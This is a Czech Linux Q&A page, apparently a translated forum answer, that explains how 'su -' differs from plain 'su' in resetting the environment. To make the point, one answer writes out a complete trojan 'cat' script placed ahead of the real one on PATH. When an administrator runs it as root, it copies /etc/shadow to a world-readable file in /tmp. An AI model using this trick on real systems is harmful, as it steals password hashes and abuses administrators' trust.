GNU/Linux >> Znalost Linux >  >> Linux

Proč používáme su – a nejen su?

su - po přepnutí uživatele vyvolá přihlašovací shell. Přihlašovací shell resetuje většinu proměnných prostředí a poskytuje čistý základ.

su pouze přepne uživatele a poskytne normálnímu shellu prostředí téměř stejné jako u starého uživatele.

Představte si, že jste vývojář softwaru s normálním uživatelským přístupem k počítači a váš neznalý administrátor vám prostě nedá přístup root. Pojďme ho (doufejme) oklamat.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Nyní se zeptejte svého administrátora, proč nemůžete cat fiktivní soubor ve vaší domovské složce, prostě to nebude fungovat!

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Pokud váš administrátor není tak chytrý nebo jen trochu líný, může přijít k vašemu stolu a zkusit to se svými superuživatelskými schopnostmi:

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Páni! Díky, super admine!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

On, on.

Možná jste si všimli, že je poškozený $PATH proměnná nebyla resetována. To by se nestalo, kdyby admin vyvolal su - místo toho.


su - vás přihlásí úplně jako root, zatímco su dělá to tak, že předstíráte, že jste root.

Nejviditelnějším příkladem toho je ~ je domovský adresář root, pokud používáte su - , ale váš vlastní domovský adresář, pokud používáte su .

V závislosti na vašem systému to může také znamenat rozdíly ve výzvě PATH nebo soubor historie.

Takže pokud jste součástí týmu spravujícího systém a váš kolega vám dá příkaz ke spuštění, víte, že to bude fungovat stejně, pokud oba používáte su - , ale pokud oba používáte su , mohou existovat rozdíly kvůli tomu, že máte různé konfigurace shellu.

Na druhou stranu, pokud chcete spustit příkaz jako root, ale pomocí vlastní konfigurace, pak možná su je pro vás lepší.

Nezapomeňte také na sudo , který má -s možnost spustit shell spuštěný jako root. Samozřejmě to má také různá pravidla a ta se mění v závislosti na distribuci, kterou používáte.


Hlavní rozdíl je:

su - username nastaví prostředí prostředí, jako by to bylo čisté přihlášení jako zadaný uživatel, přistupuje a používá zadané uživatelské proměnné prostředí,

su username pouze spustí shell s aktuálním nastavením prostředí pro zadaného uživatele.

Pokud uživatelské jméno není zadáno pomocí su a su - , jako výchozí je implikován účet root.


Linux
  1. Proč nepoužít „který“? Co tedy použít?

  2. Proč není CD program?

  3. Proč je to Rm -rf a ne Rmdir -rf?

  1. Kdy a proč používat Docker

  2. Jak a proč používat vzdáleného hostitele dockeru

  3. Proč by se měl v Bash vyhnout eval a co bych měl místo toho použít?

  1. Linux – proč používáme Su – a nejen Su?

  2. Linux – Proč Setuid nefunguje?

  3. Proč neblokovat ICMP?